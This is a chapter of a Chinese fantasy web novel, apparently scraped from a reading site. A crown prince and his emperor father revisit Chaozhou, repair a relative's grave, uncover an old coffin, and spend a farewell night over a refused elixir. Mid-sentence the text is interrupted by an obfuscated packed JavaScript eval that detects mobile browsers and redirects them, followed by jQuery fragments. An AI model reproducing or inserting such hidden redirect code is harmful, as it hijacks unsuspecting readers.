123读书网 > 玄幻小说 > 奉皇遗事续编 > 179.第 179 章
    离开稻田时已近日暮,父亲仍没有着急进城。他领我去吴公祠和薰娘庙磕头,自己站在一旁,和那对业已成神的兄妹对望许久。


    我听见他说:“二位,萧恒回来了。”


    像一个承诺的践行,像一片树叶落归泥土之声。


    农忙时分,庙内打扫难免有所延误。父亲便从门后找出笤帚,他扫地,我擦香灰,清理干净后,才领着我出门。


    我发现父亲绕了条远道,走的是西南山路。


    路上,他问我还有没有酒。我省得他要去见什么人。


    这次由我牵马,让父亲在前引路。夜色笼罩下,山峰闪烁银白光辉,溪水宛如无数深蓝缎带,柔和地网织起潮州城的万家灯火。我看到天上皎洁明月,意识到自己有幸见到传说中“银山蓝水明玉盘”的夜景。但父亲却没有分过一眼。他目标明确地在赶路。


    等他的脚步停止,他已经跪倒下来。我看到一派肃穆震撼的景象。山林间,千数碑石如同守卫,千数坟丘如同壁垒,化作潮州城的天然屏障。


    父亲拧开酒囊,把酒倾泻于地。我以为父亲会说话,但他什么都没说。


    许久,父亲站起来,指了指我,对他们道:“这是咱儿子。”


    我便从他的膝盖印上跪下,叩了三个头,也倒了酒。


    起身时,我听见那匹老马发出一道哀鸣。满山树叶摇动,似乎是万马英魂鸣和之声。父亲抬手抚摸云追,面部似乎坚毅如初。


    我叫他:“阿爹。”


    他说:“回家吧。”


    下山路要更难走,父亲牵着我的手腕,终于在岗哨禁止前进入潮州城。在这里,他这张脸想不被认出是不可能的。在徼巡队伍要发动狂欢时,父亲以微服的名义将他们按下。他想看看大伙,但无意惊扰。


    被欢迎的是客人,如果父亲把这次回归视作一种还乡,那他应该是潮州的一部分。人们会亲近他,爱戴他,但不刻意对待他。


    这或许是他潮州生活最为宝贵的东西。


    但我知道,他选择成为皇帝,很大程度上牺牲了这个东西。


    所有恨他爱他包括他自己在内的人,偕力扼杀了萧恒。


    *


    父亲带我回到那处院子,我惊异地发现,他居然还保有院门和房门的钥匙。


    这里作为帝王潜邸和我曾经的下榻之处,一直有人勤于打扫。父亲安置好马匹,带我走向他和阿耶的那间婚房。他轻车熟路地打开柜子,将被褥翻找出来,铺在那张架子床上。


    父亲说:“你睡这里。”


    我问:“你呢?”


    父亲道:“我去隔壁。”


    我拉住他,“你和我一块睡吧,像小时候那样。”


    父亲没有多说,把我的被窝往里挪靠,又搬过一套枕被拦在外面。小时候阿耶去南秦,我在甘露殿睡觉,为防我跌倒床下,他总是这么拦着我。


    我归置箱笼,父亲便出门,我听见院中辘轳转动声,晓得他去打水。不一会,他抱着木桶进来放在床边,示意我洗脚。


    其实这么看,我算不上孝子,甚至是十万的不孝。和父亲在一块,总是他伺候我多过我照顾他。我有时候觉得心酸,有时候,其实心安理得。


    父亲见我愣神,也不催我,蹲下来要给我卷裤腿脱鞋。这便超出了我的心安范畴,抢先一步脱掉鞋袜。


    父亲只是习惯,倒不是有什么倒反天罡的服侍太子每日计划。见我自己收拾,他便架好脸盆,把我的手巾搭好,又不知从哪找出只小香炉,帮我点上沉水香。


    他做香事总给我一种违和感,但他其实娴于此务,也是多年来照顾我的缘故。这些东西是我爱捣腾的,一半自己收,一半就是由他送。我知道但凡送给我的东西,他自己都要先用一遍。


    我小时候的确怨恨过他,那时的我绝不会想到,未来会认为做他的儿子,自己何德何能。


    父亲脱鞋,我便像小时候一样,把自己包成蚕蛹似的一个团,往床里滚,给他让位置。见我滚得没边儿,父亲便抬臂把我伐过来。我突然感觉到难得的童趣,一下子乐不可支,笑得眼泪都要出来。


    父亲便和当年一样,把手盖我眼上,说:“睡觉。”


    我心满意足,当自己还是那个团子大的小孩子,往他怀里挤了挤。父亲和我很有默契,也像抱当年那个团子一样一只手抱过我。


    我眼睛有点酸,靠在他胸膛前,叫一声:“爹。”


    父亲嗯一声,听我半晌没动静,也没追问,拍打小孩一样,一下一下轻轻拍打我。


    自从奉皇七年后,甚至再早一些,我就没和父亲同床睡过觉。这些年我睡眠很轻,这夜却坠入一个黑甜梦乡,异常踏实沉稳。


    第二天清早,我醒来,却没瞧见父亲人影。隐约听得门外吵闹,便晓得父亲失算,我们返城的消息还是暴露了。


    我晓得父亲去应付客人,有点小孩子心性上来,懒得待客,便趴在被窝里继续睡。从自己被窝里睡不够,又裹进父亲被里。


    我还能闻到和他体温一样淡的独属父亲的味道,很难形容那是什么气味,如果非要说,那就像个摇篮。


    我迷迷瞪瞪,又睡过去。不知过来多久,只觉背部暖洋洋的,床帐也被打起来。一只大手摸了摸我脑袋,把我从梦乡里轻轻牵出来。


    父亲站在床边,说:“烧了点饭,吃一些,我们上山一趟。”


    我以为又去西南那边,便问:“是要再祭奠吗?”


    “去江北山上。”父亲说,“前几天下暴雨,给你伯父买的那块坟地塌了,正准备今天去修缮。”


    伯父梅道然,在我心里始终保有一幅剪影。其实小时候双亲不在,除了老师,便是他来带我。老师看我玩,伯父陪我玩。我小时有很多玩具,一部分由父亲做给我,一部分则出自这位伯父之手。


    记得有次我专心吃桃子,没留心台阶,摔了一跤,手也蹭破了,好吃的桃子也摔坏了。我正要哭,伯父便捞小鸡仔似的捞我起来,抱着我跳到树上,让我自己挑果子摘。


    我从来没上过树,一下子忘了哭,全心沉浸在这片靠近天空的小世界里。过一会,伯父变戏法般,吹了段奇奇怪怪的口哨,我便听见扑棱棱的翅膀拍打声,一群鸽子不知道从哪飞过来,绕着树周盘旋不散。


    一只灰色花纹的鸽子栖到我腿上,走一根树枝一样走来走去。我又好玩,又有点害怕,它似乎真把我当树了,在我腿上一啄一啄地找虫。我吓得嘴一扁,又要哭,伯父便冲它“咄”一声,那鸟便舍弃我,重新飞向天外去了。


    不仅对我,当年小小的我已经体会到,他在父亲那里有阿耶和我都无法取代的位置。


    一直以来,父亲是所有人的依靠,他便是父亲唯一的依靠。记得是我双亲冷战、阿耶回大公府居住之时,我生病,父亲不眠不休地照料。我偶尔醒来,总能看到父亲憔悴的面容和熬红的眼睛。有一次迷迷糊糊,见伯父也在榻边,先伸手摸摸我额头,又冲父亲说些什么,语气很严肃,大抵是让他去休息吃饭。


    我们之间似乎存在一个无形的水域,我在水底,他们在水外,他们的声音便和我隔了一个世界。但我能感受到他们话中的情绪,感受到父亲从未流露过的软弱,和近似我迷失在噩梦时的恐惧。那只抚摸我额头的手落在父亲后背,又是后脑。我知道那会是个拥抱。拥抱其实是有深层意义的。


    我父亲在伯父这里,成为被保护的一方。


    那次醒来,我果然没有见到父亲。伯父守在床边,也没有像任何一个人一样去催叫父亲。他给我换过帕子,把我从汗湿的衣裳里剥得光溜溜,塞进软和干燥的被团里,又喂我吃菇类和肉糜炖的粥。我吃完粥,问起阿爹,伯父说阿爹三天没合眼了,我们叫阿爹睡一会,好不好?吃完饭阿玠也再睡一会,睡好了,阿爹就过来了。


    自从我出生,父亲心里最重的一块便是我。


    我很感激伯父去做看重父亲胜过我的那个人。


    但他很早就离开了,没能陪我长大,也没能陪父亲老去。


    伯父离开的缘故和之后的归宿,天不提,地不提,父亲不提,我不提。要愈合一块伤疤,总要借助遗忘。但一块救命的良性瘤子割掉后留下的疤痕,一块但凡呼吸就隐隐作痛的疤痕,要怎么抛之脑后呢?


    于是我们只谈论修坟,对坟地应当的主人不置一词。


    新的石料已经选好运到山上,父亲便领我出门。我本以为这次出行又会万众围堵,但我忘了,潮州如今正在崔鹏英治下。她晓得我们的内情,一应帮我们处理妥当。


    这是我第一次来江北群山,根据从老师那边搜罗的几本堪舆之书,能判断出这是个枕山面水的福祉。父亲提着锨,让我两手空空地跟在后面。


    这块墓地不大,但被暴雨破坏严重,坟包完全塌陷,只能先刨去断砖溃土再重新垒建。


    听说当年伯父决意追随我父亲,只要了这块墓地。这是伯父相看后,我父亲亲手垒造的。和当日一样,他今天也不会假手于人。


    我像个无所事事的孩子一样,想帮忙帮不上,只能看着父亲干活。突然,父亲像撬到一块坚硬的物体,丢开锨蹲下去。


    我赶忙走上前,发现这居然不是一个空坟,一口被发酵成铜黑色的棺材从墓坑里裸露出来。


    我看到父亲双手颤抖了。


    他双膝跪下,手掌按在棺面上,像抓一个人的手臂。我知道当年这坟里一定是没有棺材的。我知道伯父离去后一定是不能成活的。但我也知道,父亲和我一样,心里还抱存希望,只要不去揭谜底,谜面就永远模棱两可。


    直到这一刻。命运终将把多年逃避之事更残酷地丢在脸上。


    我看不了父亲这样无助的的神情,也从他身旁跪下,劝:“阿爹,我来吧。”


    父亲摇摇头,说:“我来。你站远些,这么多年,人肯定坏了。”


    他或许在担心我的精神,或许在担心我的肺症,又或许兼而有之。这时候我不会违逆父亲,退开几步,把穿越生死之界的时刻让给他。


    父亲下定决心后,动作恢复果断。他把棺面黄土擦干,掏出一把匕首,去撬四角棺钉。最后一枚钉子解放后,父亲两手扳住一侧棺盖,打开了棺。


    父亲所料不错,里面躺着人。身上衣料血肉已然消散,只留下一把英俊的骨头。我看到父亲拿过帕子擦拭残土,将骨殖擦得光亮如新。我看到骨头有一种很暗的纹路,像一种颜色,也像一种碎痕。


    我知道这是长生的痕迹。


    但我伯父不是解掉了长生吗?早年的折磨竟留下如此深刻的痕迹吗?那我父亲呢?


    这时候,父亲安静下去的双手再度颤抖起来。他抓起一段棺材的碎木,揉搓判断了片刻,突然去摸那副骨头。


    后来我才知道,这副棺材应该下葬了近二十五年。而我伯父奉皇七年离开,至今不过十七年之久。


    一会,父亲放下那副骨头,很久没有起身。


    父亲对它说:“原来你真的在潮州。”


    这本该成为野史的一桩未解之谜,今日却和这副棺材一起大白于世。父亲告诉我,伯父曾经有一段无疾而终的情缘。那位岑郎让我阿耶保守他下落的秘密,而后决绝远走。在奉皇七年,我父亲病重之时,哀求阿耶将岑知简下落告知伯父。所有人都以为伯父离开是去寻找他。


    阿耶说,他在潮州。


    果真在潮州。


    我和父亲在沉默中知悉了这段真相。岑知简离开时已经命不久矣,他没有回故乡华州,而是把潮州作为自己的埋骨之地。他在我伯父的墓穴里等待他,像在新婚的洞房里等待他。生不同寝死同穴,我伯父下葬之日,本该为他们再会之时。


    但谁都无法预料身后之事。伯父为我父亲配置解药,无法扛过良心的谴责,提前走向死亡。


    我突然感觉不对劲。


    我伯父离开长安,走向死亡,又该走向何处的死亡?除了潮州,他还有什么归身的地方?


    但如果他在辞宫之后回到潮州,为什么这处墓穴不是一个合葬之坟?他现在身在何处?


    我看见父亲像一块墓碑树在原地,陷入沉思。


    抱着这个疑问,父亲帮岑知简重砌坟墓,没有将他埋得很深。


    如果我伯父还活着,最后一锨土该他去施。如果我伯父已然死去,不久将是开坟合葬之日。


    太阳完全升起,山林间本就稀薄的凉雾弥散殆尽。父亲回到院中,先去问守院人,奉皇七年后有没有我伯父的消息。


    那条五十余岁的汉子本是潮州营的旧人,没想很久,真的给出答案。


    奉皇七年底,我伯父曾经来过一趟。


    我父亲声音一下子紧绷起来:“他干了什么?他去了哪里?”


    守院人说:“梅统领和将军一样,也去了江北。”


    我和父亲对视一眼。那他不可能不察觉坟穴的异常。


    他一定知道岑知简葬在那里。


    父亲追问:“然后呢?”


    “然后梅统领要了一壶酒,让我转告一句话给程……给逆贼程忠。他说:‘请助我履践玉升三年之诺。’”


    父亲问:“什么诺?”


    守院人摇头,“卑职不清楚。只知道程逆收到消息后,连夜赶来一趟。第二天他要了一把铁锨和一张草席,派人把院门封锁。直到日落才出来。”


    守院人说:“自那之后,我再没见过梅统领。”


    父亲神色复杂,似乎怀着更可怕的揣想。他尚不知道真相,但我已经知道。


    我抬头,看那梅树枝叶摇曳,它笼罩我父亲,像一个撑伞的身影。我想起有关这株梅树的秘密,它在我父亲锦水鸳濒危之时一夕枯死,又在多年之后重焕生机。


    我或许是前半个谜面的谜底,那后半个呢?


    这一刻,一缕灵感闪过,一段树梦的碎片重新溅在我身上。


    我叫一声:“爹。”


    父亲抬头看我,又顺着我的目光,看向这棵梅树。


    我无法描述父亲的眼神。


    他凝视许久,从树下跪倒,伸手抚摸那条裸露在外的根茎。


    我和伯父梅道然一前一后,嫁接了这棵梅树的生命。时隔多年,他终于找到岑知简,却放弃合葬,去践行为救我父亲而做出的重诺。


    为了我父亲,他杀死了做树的我。还是为了我父亲,他成为了做


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872372|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    树的我。


    我不清楚父亲是否知道这段真相,不清楚他是否知道,他被人如此坚定地选择过。


    直到太阳彻底沉没,我才听到父亲的声音。


    父亲说:“这棵树别砍,不要砍。”


    我从他身旁蹲下,说:“不砍,我以后每年都来给它浇水施肥。”


    父亲没应,也没有流泪。他取来自己断掉的环首刀埋在梅树下,第二日,他会从包袱里找出一直随身携带的玉龙刀,重新打开岑知简的棺材,将这把刀和他葬在一处。


    我知道我的父亲不只是父亲。我知道除我和我阿耶之外,仍有许多人愿意和他许诺来生。


    我明白了父亲为什么要回潮州城。


    *


    父亲站起来,突然问我:“你想吃馎饦吗?我给你下点馎饦吧。”


    于是当晚我们吃了馎饦。


    我早期不爱吃面食,爱吃南方糕点和糯米制品,尤其是汤圆,但那对我的肠胃造成负担。年纪渐长,才察觉面食对我身体的好处,也发现自己早适应了北方的口味。其中最爱的就是馎饦。要父亲亲手擀的,吃起来筋道滑美。父亲自己吃煮清水,若我要吃,他会用猪骨熬汤,熬到发白再下馎饦,常伴一些肉茸,最后放青菜,一律是地里新摘的。


    只是近年来,父亲已经很少下厨,甘露殿那块田地也很少再种。


    我想那块土地是父亲健康状态的一种象征,无可避免,也成为世人窥探他身体情况的窗口之一。现在到了我该把他手中农具接过来的时候,但他担心我的身体,总想替我再耕种一些。他不忍心让我受累,我又何忍叫他为我继续受苦?


    饭后,父亲找来两只酒杯。


    父亲并不嗜酒,同我吃饭更是滴酒不沾。今夜却很反常,除一只酒壶外,还有一只单独的酒囊。


    他提壶给我倒上一杯后,又给自己满上。


    我并没有多问,父亲却道:“咱们俩还没一块吃过酒吧。”


    我笑:“是。阿爹总当我是小孩子,可我总不能做一辈子孩子呀。”


    父亲说:“有爹一日,你就能做一日。”


    我举起酒杯,从他对面坐到他身边。我说:“有点冷,我想挨着你,这么热乎。”


    父亲便腾出一只手来握我。他手其实比我寒凉很多,但由他一握,我总感觉从背部就开始暖和。


    我和他碰了碰杯。父亲说,你要健康,我便说,你要快乐。既是希望,自然要望一些难以实现的事物。我们俩仰头吃掉酒水,然后我就搂住他手臂,靠在他肩头上。


    父亲问:“下午崔鹏英来过?”


    我应道:“是,她有折子,我瞧了瞧不是紧要事,便代复了。还有一件改官制的事,我想回京和杨相公商量之后再定夺。”


    父亲问:“废勋爵么?”


    我点头,“嗯,还是得等百姓更富裕些再办。现在大刀阔斧地改,有点太着急了。”


    父亲便笑,“阿玠很聪明,现在就懂得过犹不及的道理。阿爹在你这个年纪若晓得,或许现在还有你老师陪着你。”


    父亲问:“你还能见到他吗?”


    我说:“有时候。”


    父亲有些叹息:“我们约定好的事,我到底没有做成,早前觉得很对不起他。到现在,反而有些庆幸。如果真的废了皇帝,我就要带着你出宫生活。之前总担心,没教给你一门过活的手艺,离宫后你要怎么办。后来我就想,到时候我可以打打铁,种种地,给人走镖也使得,自给自足总是管够。你若想入仕,就从头考科举,要是累了,给人家写写大字,做个教书先生也是好的。我们阿玠想做什么事都能做成。然后有点后悔,没给你存下什么产业,真出了宫门,你吃药要花钱。”


    说到这里,父亲笑了笑:“现在好了,我没做成这件事,却要累你扛这把枷锁了。”


    我笑着反握他,说:“金枷玉锁,多少人求还求不得呢。”


    父亲看着我,语气极其郑重,说:“阿爹对不住你。”


    我也看着他。我余生无数次庆幸,我曾经把这句话告诉他。


    我说:“做你的儿子,是我这辈子最大的福气。”


    这句话像给了父亲无穷的勇气。他终于打开那只一直未动的酒囊,把里面的液体倒进他的酒杯。我能看到涟漪中未碾碎的渣滓,闻到淡淡的腥味。


    我不知道那漆黑的液体是什么成分,但我已经知道那是什么东西。他和阿耶以为可以瞒过我,但他们想瞒我的事,其实没有一件真正瞒住我。


    我问:“一定要喝吗?”


    父亲抚摸我的头发,说:“这样阿爹可以多陪你一段时间。”


    我也沉默一会,轻轻说:“可我不是小孩子啦。阿爹不陪我,我也不会哭鼻子。我现在也明白,一个人活着,对其他人或许是件好事,但对他自己,可能并不那么好过。”


    我说:“你知道吗,比起我好过,我更想你好的。”


    父亲叹口气,欲言又止。


    我看着他握我的那只手,那只把我从小牵到大、永远托举我保护我的手。我不得不承认,我现在还是无法想象,失去这只手后会是怎样的日子。但我更不敢想象,他为了我苟延残喘的样子。


    我的父亲,他有自己的骄傲,自己的尊严。如果他为我如此折辱,只怕我会心碎而死。


    我把手指插到他指缝里,讲起一件往事:“小时候老师与我讲佛经,讲到《地藏本愿经》一篇,说地狱未空,誓不成佛。我问他,菩萨最终是否脱离地狱,老师摇头,告诉我,地狱永远不会有空的那一天。”


    他要消灭一切罪方能解脱。但人间之罪怎么可能彻底消灭呢?


    等我长大,便渐渐明白,我父亲也永远逃不出那座地狱。


    但他要较好一点的是,佛法无穷,而人生有尽。


    他不用像地藏王菩萨一样永坐地狱,他只用这辈子就够了。


    如果可以,我到死都不想放开他这双手。


    但如果死亡才能解开枷锁。


    我希望他能够自由。


    我俯身,像小时候一样,伏在父亲膝盖上。我说:“阿爹,你该休息了,你好累了。你放心,一切交给我。”


    父亲没有说话。


    一会,他抬手,轻轻抚摸我的头发。


    如果说阿耶是我的另一个世界,那父亲就是联结我和这个世界的脐带。我总要出母腹独立生活。那我要做的,就是把这条脐带剪断。


    可能过了很久,也可能只是一个弹指。父亲的手离开我,拿过那杯让人永世不灭的祝福。


    然后把它倾入泥土。


    ……


    这天,在我们未知的角落,父亲种给阿耶的橙子几近病死。留守甘露殿的秋翁竭尽全力,先是换土换盆,最后把它连根挪到父亲那块田地里。我在父亲膝头的梦里看到了这一切。我在被父亲捧在掌中的人生里经历了这一切。我希望它活但不求它活。它被蛀空了根还绿着叶子,就是为了枝头仅存的那颗摇摇欲坠的果子。那颗果子活着它死,那颗果子死了它更是个死。


    好好睡一觉吧。我和果子说。安心回归地里,明年在这片土地,会生出更新的种子。